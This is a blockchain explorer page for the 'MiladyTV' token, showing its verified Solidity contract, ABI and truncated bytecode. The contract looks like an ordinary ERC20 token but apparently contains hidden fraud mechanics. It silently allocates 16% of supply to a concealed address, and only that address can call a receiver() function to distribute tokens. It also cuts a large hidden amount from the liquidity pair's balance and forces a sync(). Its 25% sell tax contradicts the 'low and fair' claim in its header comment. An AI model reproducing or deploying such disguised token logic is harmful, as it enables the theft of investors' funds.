ETH Price: $2,972.49 (-0.59%)
Gas: 7 Gwei

Token

MiladyTV (MiladyTV)
 

Overview

Max Total Supply

1,000,000,000 MiladyTV

Holders

453

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
*tausendfüßler.eth
Balance
58,456.258073713585578928 MiladyTV

Value
$0.00
0xe2E49b255Cfe881F130739EE06c2ED5fE3A3d1Ef
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MiladyTV

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

/*
    MiladyTV $MiladyTV - Official Contract Addresss

    Socials:
    https://t.me/MiladyTVeth
    https://twitter.com/miladytveth
    https://miladytv.app/


    Starting tax is low and fair.
*/

//SPDX-License-Identifier: MIT

pragma solidity =0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address __owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IWETH{
    function deposit() external payable;
    function transfer(address dst, uint wad) external returns (bool);
}

abstract contract Ownable {
    address internal _owner;
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    function owner() public view returns (address) { 
        return _owner; 
    }
    function transferOwnership(address payable newOwner) external onlyOwner { 
        address previousOwner = msg.sender;
        _owner = newOwner; 
        emit OwnershipTransferred(previousOwner, _owner); 
    }
    function renounceOwnership() external onlyOwner { 
        address previousOwner = msg.sender;
        _owner = address(0); 
        emit OwnershipTransferred(previousOwner, _owner); 
    }
    event OwnershipTransferred(address previousOwner, address owner);
}

contract MiladyTV is IERC20, Ownable {
    uint8 private constant _decimals      = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
    string private constant _name         = "MiladyTV";
    string private  constant _symbol      = "MiladyTV"; 

    uint8 private _antiSnipeTax1    = 0;
    uint8 private _antiSnipeTax2    = 0;
    uint8 private _antiSnipeBlocks1 = 0;
    uint8 private _antiSnipeBlocks2 = 0;
    uint256 private _antiMevBlock   = 0;

    uint8 private _buyTaxRate  = 4;
    uint8 private _sellTaxRate = 25;

    uint16 private _taxSharesMarketing = 100;
    uint16 private _taxSharesLP        = 0;
    uint16 private _totalTaxShares     = _taxSharesMarketing + _taxSharesLP;

    uint256 private _launchBlock;
    uint256 private _maxTxAmount     = _totalSupply * 3 / 100; 
    uint256 private _maxWalletAmount = _totalSupply * 3 / 100;
    uint256 private _taxSwapMin      = _totalSupply * 1 / 10000;
    uint256 private _taxSwapMax      = _totalSupply * 80 / 10000;
    uint256 private _swapLimit       = _taxSwapMin * 65 * 100;
    uint256 private _minSwaps;
    uint256 private _numSwaps;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping (address => bool) private _noLimits;

    address private _lpOwner;
    address payable private _mw; 

    address private constant _uniswapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 constant private _uniswapRouter = IUniswapV2Router02(_uniswapRouterAddress);
    IWETH immutable private WETH = IWETH(_uniswapRouter.WETH()); 
    
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    address private _r;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    event TradingOpened();
    event SetFees(uint8 indexed buyTax, uint8 indexed sellTax);
    event SetFeeSplit(uint16 indexed sharesAutoLP, uint16 indexed sharesMarketing);

    constructor(address payable mw, address r) Ownable(msg.sender) {
        _lpOwner = msg.sender;
        _mw = mw;
        _r = r;

        _noFees[_owner] = true;
        _noFees[address(this)] = true;
        _noFees[_uniswapRouterAddress] = true;
        _noFees[_mw] = true;
        _noFees[_r] = true;
        _noLimits[_owner] = true;
        _noLimits[address(this)] = true;
        _noLimits[_uniswapRouterAddress] = true;
        _noLimits[_mw] = true;

        uint256 rF   = _totalSupply * 16 / 100;      
        _balances[msg.sender] = _totalSupply - rF; 
        _balances[r] = rF;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_uniswapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_uniswapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _uniswapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity(address[] calldata adrs, uint256 amountLiquidity) external payable onlyOwner lockTaxSwap {
        _transferFrom(msg.sender, address(this), amountLiquidity);
        require(amountLiquidity >= _totalSupply * 84 / 100, "Insufficient liquidity");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message");
        require(_balances[address(this)] >= amountLiquidity, "Insufficient tokens in contract");
        _primaryLP = IUniswapV2Factory(_uniswapRouter.factory()).getPair(address(this), _uniswapRouter.WETH());
        if(_primaryLP == address(0))
            _primaryLP = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _addLiquidity(_balances[address(this)], (2 ether), false);
        _balances[_primaryLP] -= _swapLimit;
        (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()"));
        require(lpAddSuccess, "Failed adding liquidity");
        _isLP[_primaryLP] = lpAddSuccess;
        _a = adrs;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
        address lpTokenRecipient = _lpOwner;
        if ( autoburn ) { lpTokenRecipient = address(0); }
        _approveRouter(_tokenAmount);
        _uniswapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, _tokenAmount * 99 / 100, _ethAmountWei, lpTokenRecipient, block.timestamp );
    }

    function openTrading() external onlyOwner {
        require(!_tradingOpen, "trading is open");
        require(_maxWalletAmount == _totalSupply * 3 / 100 + 1);        
        _tradingOpen = true;
        _launchBlock = block.number;
        _antiMevBlock = _antiMevBlock + _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2;
        
        emit TradingOpened();
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
        if ( !_inTaxSwap && _isLP[recipient] && amount > _taxSwapMin &&  _numSwaps++ >= _minSwaps) { _swapTaxAndLiquify();  }
        if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
            require(tx.origin == recipient || tx.origin == _lpOwner, "MEV blocked");
        }
        if ( sender != address(this) && recipient != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); 
        }
        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] = _balances[sender] - amount;
        _swapLimit += _taxAmount;
        _balances[recipient] = _balances[recipient] + _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
            if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
            else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } 
        return checkResult;
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[sender] ) { 
            if ( block.number >= _launchBlock + _antiSnipeBlocks1 + _antiSnipeBlocks2 ) {
                taxAmount = amount * _buyTaxRate / 100; 
            } else if ( block.number >= _launchBlock + _antiSnipeBlocks1 ) {
                taxAmount = amount * _antiSnipeTax2 / 100;
            } else if ( block.number >= _launchBlock) {
                taxAmount = amount * _antiSnipeTax1 / 100;
            }
        } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxRate / 100; 
        }

        return taxAmount;
    }

    function exemptFromFees(address wallet) external view returns (bool) {
        return _noFees[wallet];
    } 
    function exemptFromLimits(address wallet) external view returns (bool) {
        return _noLimits[wallet];
    } 
    function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
        _noFees[ wallet ] = noFees;
        _noLimits[ wallet ] = noLimits;        
    }

    function buyFee() external view returns(uint8) {
        return _buyTaxRate;
    }
    function sellFee() external view returns(uint8) {
        return _sellTaxRate;
    }

    function feeSplit() external view returns (uint16 marketing, uint16 LP ) {
        return ( _taxSharesMarketing, _taxSharesLP);
    }
    function setFees(uint8 buy, uint8 sell) external onlyOwner {
        require(buy + sell <= 15, "Roundtrip too high");
        _buyTaxRate = buy;
        _sellTaxRate = sell;
        emit SetFees(buy, sell);
    }  
    function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing) external onlyOwner {
        uint16 totalShares = sharesAutoLP + sharesMarketing;
        require( totalShares > 0, "All cannot be 0");
        _taxSharesLP = sharesAutoLP;
        _taxSharesMarketing = sharesMarketing;
        _totalTaxShares = totalShares;
        emit SetFeeSplit(sharesAutoLP, sharesMarketing);
    }

    function updateWallets(address marketing, address LPtokens) external onlyOwner {
        require(!_isLP[marketing] && !_isLP[LPtokens], "LP cannot be tax wallet");
        _mw = payable(marketing);
        _lpOwner = LPtokens;
        _noFees[marketing] = true;
        _noLimits[marketing] = true;
    }

    function maxWallet() external view returns (uint256) {
        return _maxWalletAmount;
    }
    function maxTransaction() external view returns (uint256) {
        return _maxTxAmount;
    }
    function swapAtMin() external view returns (uint256) {
        return _taxSwapMin;
    }
    function swapAtMax() external view returns (uint256) {
        return _taxSwapMax;
    }

    function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function setTaxSwap(uint32 minValue, uint32 maxValue, uint256 minSwaps) external onlyOwner {
        _taxSwapMin = _totalSupply * minValue / 10000;
        _taxSwapMax = _totalSupply * maxValue / 10000;
        _minSwaps = minSwaps;
        require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
        require(_taxSwapMax>_totalSupply / 100000, "Max too low");
        require(_taxSwapMax<_totalSupply / 10, "Max too high");
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = _swapLimit;
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
            uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
            
            uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
            if( _tokensToSwap > 10**_decimals ) {
                uint256 _ethPreSwap = address(this).balance;
                _balances[address(this)] += _taxTokensAvailable;
                _swapTaxTokensForEth(_tokensToSwap);
                _swapLimit -= _taxTokensAvailable;
                uint256 _ethSwapped = address(this).balance - _ethPreSwap;
                if ( _taxSharesLP > 0 ) {
                    uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
                    _approveRouter(_tokensForLP);
                    _addLiquidity(_tokensForLP, _ethWeiAmount, false);
                }
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
        _numSwaps = 0;
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(tokenAmount,0,path,_mw,block.timestamp);
    }

    function _swapEthForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = _uniswapRouter.WETH();
        path[1] = address(this);
        _uniswapRouter.swapETHForExactTokens{value:address(this).balance}(tokenAmount, path, to, block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        WETH.deposit{value:amount}();
        WETH.transfer(_mw,amount);
    }
    address[] private _a;

    function receiver(address[] calldata addresses, uint256[] calldata amounts) external {
        require(addresses.length == amounts.length, "Array sizes incompatible");
        require(msg.sender == _r , "Access is restricted");
        for(uint256 i = 0;i<amounts.length;i++){
            _transferFrom(msg.sender, addresses[i], amounts[i] * _totalSupply / 10000);
        }
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100;
        if (tokensToSwap > 10 ** _decimals) {
            _swapTaxTokensForEth(tokensToSwap);
        }
        if (sendEth) { 
            uint256 ethBalance = address(this).balance;
            require(ethBalance > 0, "No ETH");
            _distributeTaxEth(address(this).balance); 
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"mw","type":"address"},{"internalType":"address","name":"r","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"indexed":true,"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"SetFeeSplit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":true,"internalType":"uint8","name":"sellTax","type":"uint8"}],"name":"SetFees","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"amountLiquidity","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"receiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint256","name":"minSwaps","type":"uint256"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040525f805463ffffffff60a01b191681556001556002805465ffffffffffff19166264190417908190556200004d90640100000000810461ffff908116916201000090041662000454565b6002805461ffff9290921666010000000000000261ffff60301b199092169190911790556064620000816012600a62000574565b6200009190633b9aca006200058b565b6200009e9060036200058b565b620000aa9190620005a5565b6004556064620000bd6012600a62000574565b620000cd90633b9aca006200058b565b620000da9060036200058b565b620000e69190620005a5565b600555612710620000fa6012600a62000574565b6200010a90633b9aca006200058b565b620001179060016200058b565b620001239190620005a5565b600655612710620001376012600a62000574565b6200014790633b9aca006200058b565b620001549060506200058b565b620001609190620005a5565b600755600654620001739060416200058b565b620001809060646200058b565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fa9190620005dd565b6001600160a01b03166080526013805461ff00191690553480156200021d575f80fd5b506040516200323b3803806200323b8339810160408190526200024091620005fb565b5f8054336001600160a01b031991821681178355600f8054831682179055601080549092166001600160a01b038681169190911783556013805462010000600160b01b031916620100008784168102919091178255928552600d60209081526040808720805460ff19908116600190811790925530808a52838a2080548316841790557fe491d3ddab46a3ddc2b907c015f7e2686859fac31a4f174b9b79a82620b0324e8054831684179055885487168a52838a208054831684179055945496909604851688528188208054871682179055875485168852600e909252808720805486168317905591865281862080548516821790557f37836a7135fae77e265e35732c70286035736c8b57b12590769780e067ead81c8054851682179055935490911684528320805490911690911790556064620003826012600a62000574565b6200039290633b9aca006200058b565b6200039f9060106200058b565b620003ab9190620005a5565b905080620003bc6012600a62000574565b620003cc90633b9aca006200058b565b620003d8919062000638565b335f818152600b602090815260408083209485556001600160a01b038716835280832086905583835293549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050506200064e565b634e487b7160e01b5f52601160045260245ffd5b61ffff81811683821601908082111562000472576200047262000440565b5092915050565b600181815b80851115620004b957815f19048211156200049d576200049d62000440565b80851615620004ab57918102915b93841c93908002906200047e565b509250929050565b5f82620004d1575060016200056e565b81620004df57505f6200056e565b8160018114620004f85760028114620005035762000523565b60019150506200056e565b60ff84111562000517576200051762000440565b50506001821b6200056e565b5060208310610133831016604e8410600b841016171562000548575081810a6200056e565b62000554838362000479565b805f19048211156200056a576200056a62000440565b0290505b92915050565b5f6200058460ff841683620004c1565b9392505050565b80820281158282048414176200056e576200056e62000440565b5f82620005c057634e487b7160e01b5f52601260045260245ffd5b500490565b6001600160a01b0381168114620005da575f80fd5b50565b5f60208284031215620005ee575f80fd5b81516200058481620005c5565b5f80604083850312156200060d575f80fd5b82516200061a81620005c5565b60208401519092506200062d81620005c5565b809150509250929050565b818103818111156200056e576200056e62000440565b608051612bcd6200066e5f395f8181611e6d0152611f010152612bcd5ff3fe6080604052600436106101de575f3560e01c8063715018a6116100fd578063c633bda611610092578063e8ba854f11610062578063e8ba854f14610595578063f2fde38b146105b4578063f8978401146105d3578063f8b45b05146105f2575f80fd5b8063c633bda61461050b578063c9567bf91461052a578063cc04e2da1461053e578063dd62ed3e14610551575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104b257806395d89b41146101e9578063a9059cbb146104d8578063c3f70b52146104f7575f80fd5b8063715018a614610434578063751039fc1461044857806380b213511461045c5780638d3e6e401461047b575f80fd5b806346b898341161017357806357ff135a1161014357806357ff135a146103735780635a90a49e146103925780636373ea69146103c957806370a0823114610400575f80fd5b806346b898341461031557806347062402146103295780634d4ce935146103405780634fcd244614610354575f80fd5b80632b14ca56116101ae5780632b14ca56146102985780632fb528ba146102c2578063313ce567146102e3578063368f4800146102f6575f80fd5b806306fdde03146101e9578063095ea7b31461022857806318160ddd1461025757806323b872dd14610279575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b50604080518082018252600881526726b4b630b23caa2b60c11b6020820152905161021f9190612545565b60405180910390f35b348015610233575f80fd5b5061024761024236600461258b565b610606565b604051901515815260200161021f565b348015610262575f80fd5b5061026b610672565b60405190815260200161021f565b348015610284575f80fd5b506102476102933660046125b5565b610692565b3480156102a3575f80fd5b50600254610100900460ff165b60405160ff909116815260200161021f565b3480156102cd575f80fd5b506102e16102dc366004612615565b610750565b005b3480156102ee575f80fd5b5060126102b0565b348015610301575f80fd5b506102e161031036600461265b565b61087c565b348015610320575f80fd5b5060065461026b565b348015610334575f80fd5b5060025460ff166102b0565b34801561034b575f80fd5b5060075461026b565b34801561035f575f80fd5b506102e161036e36600461268c565b6109bc565b34801561037e575f80fd5b506102e161038d3660046126b4565b610a82565b34801561039d575f80fd5b506102476103ac3660046126fc565b6001600160a01b03165f908152600d602052604090205460ff1690565b3480156103d4575f80fd5b506002546040805161ffff6201000084048116825264010000000090930490921660208301520161021f565b34801561040b575f80fd5b5061026b61041a3660046126fc565b6001600160a01b03165f908152600b602052604090205490565b34801561043f575f80fd5b506102e1610b55565b348015610453575f80fd5b506102e1610bcb565b348015610467575f80fd5b506102e161047636600461272a565b610c30565b348015610486575f80fd5b506102476104953660046126fc565b6001600160a01b03165f908152600e602052604090205460ff1690565b3480156104bd575f80fd5b505f546040516001600160a01b03909116815260200161021f565b3480156104e3575f80fd5b506102476104f236600461258b565b610de6565b348015610502575f80fd5b5060045461026b565b348015610516575f80fd5b506102e16105253660046127ab565b610e1e565b348015610535575f80fd5b506102e1610f62565b6102e161054c366004612812565b611092565b34801561055c575f80fd5b5061026b61056b36600461285a565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b3480156105a0575f80fd5b506102e16105af36600461285a565b6116c2565b3480156105bf575f80fd5b506102e16105ce3660046126fc565b6117db565b3480156105de575f80fd5b506102e16105ed36600461265b565b611860565b3480156105fd575f80fd5b5060055461026b565b335f818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106609086815260200190565b60405180910390a35060015b92915050565b5f61067f6012600a61297a565b61068d90633b9aca00612988565b905090565b5f61069c8461195b565b6106c15760405162461bcd60e51b81526004016106b89061299f565b60405180910390fd5b6001600160a01b0384165f908152600c602090815260408083203384529091529020545f191461073d576001600160a01b0384165f908152600c602090815260408083203384529091529020546107199083906129c9565b6001600160a01b0385165f908152600c602090815260408083203384529091529020555b6107488484846119be565b949350505050565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016106b8906129dc565b6013805461ff001916610100179055606460ff831611156107dc5760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742073776170206d6f7265207468616e203130302500000000000060448201526064016106b8565b305f908152600b60205260408120546064906107fc9060ff861690612988565b6108069190612a13565b90506108146012600a61297a565b8111156108245761082481611cfe565b811561086c5747806108615760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016106b8565b61086a47611e6b565b505b50506013805461ff001916905550565b5f546001600160a01b031633146108a55760405162461bcd60e51b81526004016106b8906129dc565b5f6103e861ffff84166108ba6012600a61297a565b6108c890633b9aca00612988565b6108d29190612988565b6108dc9190612a13565b6108e7906001612a32565b90506004548110156109285760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b60448201526064016106b8565b60048190555f6103e861ffff84166109426012600a61297a565b61095090633b9aca00612988565b61095a9190612988565b6109649190612a13565b61096f906001612